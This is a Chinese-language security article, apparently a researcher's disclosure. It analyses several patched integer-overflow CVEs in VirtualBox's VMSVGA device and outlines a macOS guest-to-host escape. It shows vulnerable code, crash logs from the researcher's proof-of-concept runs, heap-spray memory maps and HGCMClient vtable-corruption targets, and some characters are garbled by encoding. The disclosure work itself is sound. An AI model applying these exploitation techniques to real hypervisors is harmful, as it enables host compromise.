<dl id="opymh"></dl>

<div id="opymh"></div>
      <div id="opymh"><tr id="opymh"></tr></div>

        <em id="opymh"><ins id="opymh"><mark id="opymh"></mark></ins></em><sup id="opymh"><menu id="opymh"></menu></sup>

        <em id="opymh"></em>

        <em id="opymh"><ol id="opymh"></ol></em>

              频道栏目
              首页 > 安全 > 网站安全 > 正文

              VirtualBox VMSVGA多个虚拟机逃逸漏洞分析简介

              2018-11-29 03:02:28         来源:[db:作者]  
              收藏   我要投稿

              VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。另外,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述。此外,Kostya Kortchinsky发布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,详细介绍了如何利用VMware SVGA设备中的漏洞进行VM逃逸。
              Oracle在2015年一月的重要补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)。在文章《通过硬件仿真攻击虚拟机管理程序?#20998;校?#25552;供了有关VirtualBox中VMSVGA漏洞的一些细节。
              值得注意的是,由于VMSVGA设备在默认情况下未启用,所以受影响的用户可能非常有限。但是,用户可以根据VBoxManage文档中的?#24471;?#21551;用该功能。
              VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
              Oracle在2017年7月和2017年10月的重要补丁更新中,修复了VMSVGA漏洞CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,这些漏洞是由我发现并报告的。另外,来自360 Gear团队的李强也同时独立发现了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240这四个漏洞。在这篇博客文章中,详细介绍了其中的一些问题,并演示如何利用这些漏洞实现虚拟机逃逸。
              我们在macOS环境的VirtualBox 5.1.22版本中进行了分析。Linux版本的VirtualBox不支持VMSVGA 3D功能,这一功能仅在Windows和macOS中可用。
              vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中验证validating face[0].numMipLevel过程存在整数溢出漏洞(CVE-2017-10210)
              int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
              SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
              SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
              {
              . . .
              /* cFaces must be 6 for a cubemap and 1 otherwise. */
              AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
              AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
              . . .
              }
              在使用“surfaceflag” SVGA3D_SURFACE_CUBEMAP时,“cFaces”值可以设置为6。然后,可以将“face[0].numMipLevels”设置为cFaces * face[0].numMipLevels wraps的计算结果。“cMipLevels”取决于为SVGA_3D_CMD_SURFACE_DEFINE命令传递的SVGA3dSize结构的数量,例如2 == 6 * 0x2aaaaaab。
              用于其它多个命令中的face[0].numMipLevels值是导致内存损坏的元凶。在CVE-2017-10210的PoC中,使用了SVGA_3D_CMD_SURFACE_DESTROY命令来演示内存损坏,最终导致free()无效。
              int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
              {
              . . .
              if (pSurface->pMipmapLevels)
              {
              for (uint32_t face=0; face cFaces; face++)
              {
              for (uint32_t i=0; i faces[face].numMipLevels; i++)
              {
              uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
              if (pSurface->pMipmapLevels[idx].pSurfaceData)
              RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
              }
              }
              RTMemFree(pSurface->pMipmapLevels);
              }
              . . .
              }
              [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc
              [sudo] password for renorobert:
              poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE...
              poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
              [lldbinit] process attach --pid 57984
              [-] warning: get_frame() failed. Is the target binary started?
              Process 57984 stopped
              * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
              frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
              Target 0: (VirtualBoxVM) stopped.


              Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
              Architecture set to: x86_64h-apple-macosx.
              [lldbinit] c
              Process 57984 resuming
              -----------------------------------------------------------------------------------------------------------------------[regs]
              RAX: 0x0000000000000000 RBX: 0x000070000E657000 RBP: 0x000070000E656CC0 RSP: 0x000070000E656C88 o d I t s z a P c
              RDI: 0x000000000000DB0B RSI: 0x0000000000000006 RDX: 0x0000000000000000 RCX: 0x000070000E656C88 RIP: 0x00007FFF5F9B7B66
              R8: 0x0000000000000000 R9: 0x0000000000000000 R10: 0x0000000000000000 R11: 0x0000000000000206 R12: 0x000000000000DB0B
              R13: 0x0000000000000004 R14: 0x0000000000000006 R15: 0x000000000000002D
              CS: 0007 FS: 0000 GS: 0000 Jump is taken (c = 0)
              -----------------------------------------------------------------------------------------------------------------------[flow]
              -----------------------------------------------------------------------------------------------------------------------[code]
              __pthread_kill @ libsystem_kernel.dylib:
              0x7fff5f9b7b66: 73 08 jae 0x7fff5f9b7b70 ;
              0x7fff5f9b7b68: 48 89 c7 mov rdi, rax
              0x7fff5f9b7b6b: e9 79 6f ff ff jmp 0x7fff5f9aeae9 ; cerror_nocancel
              0x7fff5f9b7b70: c3 ret
              0x7fff5f9b7b71: 90 nop
              0x7fff5f9b7b72: 90 nop
              0x7fff5f9b7b73: 90 nop

              __pthread_markcancel @ libsystem_kernel.dylib:
              0x7fff5f9b7b74: b8 4c 01 00 02 mov eax, 0x200014c
              -----------------------------------------------------------------------------------------------------------------------------

              Process 57984 stopped
              * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
              frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
              Target 0: (VirtualBoxVM) stopped.
              [lldbinit] bt
              * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
              * frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
              frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
              frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
              frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
              frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
              frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
              frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
              frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
              frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
              frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
              frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
              frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
              [lldbinit]
              vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未验证paMipLevelSizes导致整数溢出漏洞(CVE-2017-10236)
              /* Allocate buffer to hold the surface data until we can move it into a D3D object */
              for (uint32_t i = 0; i pMipmapLevels[i];
              . . .
              pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
              pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
              pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
              AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
              }
              在这里,由于“paMipLevelSizes”值完全由Guest控制,因此“cbSurfacePitch”和“cbSurface”的计算可能会产生溢出。由于“cbSurface”的计算存在问题,进一步导致RTMemAllocZ最终分配的缓冲区大小比实际需要的要少。在其他SVGA命令中使用“pSurfaceData”期间,可能会发生越界读/写的情况。针对该漏洞提供的PoC仅演示了无效分配,可以在调试器中观察到这一点,不会触发任何崩溃。但是,这一漏洞随后将会在完整的VM逃逸漏洞利用中使用到。
              vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多个整数溢出漏洞(CVE-2017-10240和CVE-2017-10408)
              int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
              uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
              {
              . . .
              for (unsigned i = 0; i pMipLevel->size.width)
              paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
              if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
              paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
              if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
              paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

              if ( !paBoxes[i].w
              || !paBoxes[i].h
              || !paBoxes[i].d
              || paBoxes[i].x > pMipLevel->size.width
              || paBoxes[i].y > pMipLevel->size.height
              || paBoxes[i].z > pMipLevel->size.depth)
              {
              . . .
              continue;
              }
              uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
              AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
              . . .
              }
              在这一漏洞中,首先对于“pMipLevel”的“paBoxes”验证可能会发生溢出,从而导致绕过问题。由于整数溢出,因此也可以绕过针对“pMipLevel-> cbSurface”的“uDestOffset”验证。我们在多个位置都发现了类似的代码模式。“uDestOffset”用于在调用vmsvgaGMRTransfer期间计算“pBufferStart”参数,所以验证失效将导致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所对应位置发生越界读取或越界写入。该漏洞的PoC将访问内存中pMipLevel->pSurfaceData偏移约4GB的位置,从而导致崩溃。可以通过堆喷射并分配可访问内存区域的方法来利用这一漏洞。
              [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make
              gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess
              [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc
              [sudo] password for renorobert:
              [lldbinit] process attach --pid 14518
              [-] warning: get_frame() failed. Is the target binary started?
              Process 14518 stopped
              * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
              frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
              Target 0: (VirtualBoxVM) stopped.

              Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
              Architecture set to: x86_64h-apple-macosx.
              [lldbinit] c
              Process 14518 resuming
              -----------------------------------------------------------------------------------------------------------------------[regs]
              RAX: 0x00007F976656CEB8 RBX: 0x0000000111C1C000 RBP: 0x00007000066CAC10 RSP: 0x00007000066CAC10 o d I t s Z a P c
              RDI: 0x00007F976656CEB8 RSI: 0x0000000111C1C000 RDX: 0x0000000000000000 RCX: 0x4141414141414141 RIP: 0x00007FFF5FB78FD0
              R8: 0x4141414141414141 R9: 0x0000000000000000 R10: 0x00000000FFFFFFFE R11: 0x00007F9654950EB8 R12: 0x0000000000000000
              R13: 0x0000000000000001 R14: 0x00007F976656CEB8 R15: 0x0000000000000001
              CS: 002B FS: 0000 GS: 0000
              -----------------------------------------------------------------------------------------------------------------------[flow]
              -----------------------------------------------------------------------------------------------------------------------[code]
              _platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
              0x7fff5fb78fd0: 48 89 0f mov qword ptr [rdi], rcx
              0x7fff5fb78fd3: 4c 89 04 17 mov qword ptr [rdi + rdx], r8
              0x7fff5fb78fd7: 5d pop rbp
              0x7fff5fb78fd8: c3 ret
              0x7fff5fb78fd9: 48 83 c2 08 add rdx, 0x8
              0x7fff5fb78fdd: 74 25 je 0x7fff5fb79004 ;
              0x7fff5fb78fdf: 4d 31 c0 xor r8, r8
              0x7fff5fb78fe2: 42 8a 0c 06 mov cl, byte ptr [rsi + r8]
              -----------------------------------------------------------------------------------------------------------------------------

              Process 14518 stopped
              * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
              frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
              Target 0: (VirtualBoxVM) stopped.
              [lldbinit] vmmap -a 0x00007F976656CEB8
              [lldbinit] bt
              * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
              * frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
              frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
              frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
              frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
              frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
              frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
              frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
              frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
              frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
              frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
              [lldbinit]
              vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整数溢出漏洞(CVE-2017-10407)
              int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
              SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
              {
              . . .
              AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth vram_size,
              ("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n",
              src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
              VERR_INVALID_PARAMETER);

              uint8_t *pSrc = pThis->CTX_SUFF(vram_ptr) + offSrc;
              . . .
              }
              其中,“offSrc”验证可能会发生溢出,并且可以绕过对“vram_size”的检查,这将会导致与VRAM相关的越界读取或越界写入。vmsvgaGMRTransfer可以由多个SVGA命令使用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN?#21462;?br /> 在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,针对vram_size验证“offsetDest”。因此,写入的位置只能从VRAM缓冲区内开始。但是,“offsetSource”最终可以在受控制的偏移量处指向超出VRAM缓冲区的位置,从而可靠地提供信息泄露漏洞。
              case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
              {
              . . .
              unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
              unsigned offsetDest = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
              unsigned cbCopyWidth = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;

              AssertBreak(offsetDest vram_size);

              rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
              该漏洞提供的PoC使用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相对于VRAM的OOB访问。
              漏洞利用
              在上述的多个漏洞中,提供了许多组合和原语。我选择使用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的漏洞来演示完整的VM逃逸:
              int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
              SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
              SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
              {
              . . .
              /* Allocate buffer to hold the surface data until we can move it into a D3D object */
              for (uint32_t i = 0; i pMipmapLevels[i];
              . . .
              pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
              pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
              pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
              AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
              }
              . . .
              }
              vmsvga3dSurfaceDefine()中存在的漏洞,允许为pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth设置非常大的值,但最终只需要分配所需大小的堆块。这一点对于进一步利用vmsvga3dSurfaceDMA()中的整数溢出漏洞来说非常有帮助。
              int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
              uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
              {
              . . .
              for (unsigned i = 0; i pMipLevel->size.width)
              paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
              if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
              paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
              if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
              paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;

              if ( !paBoxes[i].w
              || !paBoxes[i].h
              || !paBoxes[i].d
              || paBoxes[i].x > pMipLevel->size.width
              || paBoxes[i].y > pMipLevel->size.height
              || paBoxes[i].z > pMipLevel->size.depth)
              {
              . . .
              continue;
              }
              . . .
              uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
              AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
              . . .
              rc = vmsvgaGMRTransfer(pThis,
              transfer,
              . . .
              paBoxes[i].w * pSurface->cbBlock,
              paBoxes[i].d * paBoxes[i].h);
              . . .
              }
              由于pMipLevel的宽?#21462;?#39640;度和深度在vmsvga3dSurfaceDefine()中被设置为非常大的值,因此可以绕过涉及paBoxes的第一次检查。后续,这些?#21040;?#29992;于计算“uDestOffset”,可以设置为?#25105;?#20540;。
              uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
              但是,其后有一个验证:
              AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d cbSurface, VERR_INTERNAL_ERROR);
              举例来说:
              uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) cbSurface
              在这里,可以将?#32454;?#20540;设置为uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)来绕过验证。在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用于计算memcpy()调用的大小参数。为了使大小调整为一个合理的值,我们将uDestOffset设置为一个较大的值,从而允许读取/写入一个距离表面分配约4GB的偏移量。
              为了利用这个漏洞,有两个问题需要解决:
              1、从表面分配偏移约4GB的内存;
              2、在这个巨大偏移量的分配内存中,应该存在指针损坏,从而导致代码执行。
              在macOS中,共有三种类型的分配: Tiny、Small和Large。Tiny堆分配的地址范围是0x00007fxxxxx00000,而Large分配则?#21152;?#21478;一个地址范围0x00000001xxxxx000。上述二者堆分配中的任?#25105;?#20010;都能够进行漏洞利用。
              我选择的是Tiny类型堆分配,主要因为,我知道Tiny类型的分配中具有指向vtable和其他内存分配的指针,而这样的指针可能会由于代码执行而被破坏。但是,使用Tiny类型的分配来喷射(Spray)整个4GB内存是一个非常缓慢的过程。macOS支持最大127KB的Small分配。因此,我们的思路是尽可能多地分配Small块,以加快堆喷射的进度,并减少Tiny块堆喷射的数量。
              分配Tiny块
              对于Tiny块,我将目标放在针对HGCM(Host-Guest通信管理器)执行的分配上。关于HGCM的详细信息,可以参考:https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
              针对这个漏洞,我习惯使用HGCM连接对象,然后进?#20449;?#23556;。要对HGCM连接进行初始化,需要使用VMM虚拟PCI设备进行。设备的BAR0保存用于HGCM通信的I/O端口地址。无论何时启动HGCM连接,都会在内存中分配大小为72字节的HGCMClient对象,并返回客户端ID。下面是HGCMClient对象的示例:
              typedef struct _AVLULNodeCore
              {
              AVLULKEY Key; /** Key value. */
              struct _AVLULNodeCore *pLeft; /** Pointer to left leaf node. */
              struct _AVLULNodeCore *pRight; /** Pointer to right leaf node. */
              unsigned char uchHeight; /** Height of this tree: max(height(left), height(right)) + 1 */
              } AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;

              typedef struct _ObjectAVLCore
              {
              AVLULNODECORE AvlCore;
              void *pSelf; // type HGCMObject
              } ObjectAVLCore;

              struct HGCMClient {
              void *vptr_HGCMObject;
              uint32_t m_cRefs;
              uint32_t m_enmObjType; // HGCMOBJ_TYPE enum
              ObjectAVLCore m_core;
              void *pService; // type HGCMService
              void *pvData;
              uint64_t padding;
              } HGCMClient;
              HGCMClient的创建和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient来完成。这些客户端对象使用AVL树进行维护,其中的节点包含客户端ID,并?#19968;?#21253;含指向对象本身的指针。在漏洞利用期间,我们需要避免破坏AVL树的元数据,以防止在查?#19968;?#25554;入AVL树节点期间发生任何崩溃。此外,我们可能会损坏HGCMClient的vtable,以获得RIP控制。
              HGCMClient对象的?#22659;?#21457;生在HGCM断开连接期间,由HGCMService::DisconnectClient进行处理,其中使用到了损坏的vtable。
              int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
              {
              . . .
              HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
              AssertRelease(pMsg);

              pMsg->u32ClientId = u32ClientId;

              hgcmObjDereference(pMsg); // use of corrupted vtable on deletion
              . . .
              }
              分配Small块
              为了能更高效地填充4GB,与Tiny块相比,Small块显然是更好的选择。SVGA_3D_CMD_SURFACE_DEFINE命令可用于分配?#25105;?#22823;小的块。
              int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
              SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
              SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
              {
              . . .
              AssertReturn(sid papSurfaces[sid];

              /* If one already exists with this id, then destroy it now. */
              if (pSurface->id != SVGA3D_INVALID_ID)
              vmsvga3dSurfaceDestroy(pThis, sid);
              . . .
              }
              vmsvga3dSurfaceDefine()允许最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)个唯一的表面分配。针对大小为127KB的表面,这样的限制足以让我们填充约4GB。由于页是分配给堆的?#31995;?#22320;址,因此最开始需要分配HGCMClient对象,然后才是表面分配。在进行堆喷射后,内存布局如下图所示:

              喷射前的内存布局
              Stack 00007000060c1000-0000700006143000 thread 29
              MALLOC_TINY 00007ff16b400000-00007ff16b500000 [ 1024K 684K 684K 316K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16b500000-00007ff16b700000 [ 2048K 792K 792K 1256K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16b700000-00007ff16b800000 [ 1024K 840K 840K 184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 1332K 1332K 2160K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff16c06e000-00007ff16d800000 [ 23.6M 2600K 2600K 4288K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16d800000-00007ff16d900000 [ 1024K 484K 484K 540K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16d900000-00007ff16da00000 [ 1024K 364K 364K 660K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 20K 20K 12K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 448K 448K 492K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 368K 368K 60K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_TINY 00007ff170400000-00007ff170600000 [ 2048K 84K 84K 948K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000
              MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
              STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0
              喷射后的内存布局
              Stack 000070000624a000-00007000062cc000 [ 520K 12K 12K 0K] rw-/rwx SM=PRV thread 35
              MALLOC_SMALL 00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff08b400000-00007ff08b500000 [ 1024K 244K 244K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff0c2800000-00007ff0c3000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff0ec800000-00007ff0ed000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
              MALLOC_SMALL 00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M 2588K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
              MALLOC_TINY 00007ff0fb400000-00007ff0fb500000 [ 1024K 184K 184K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
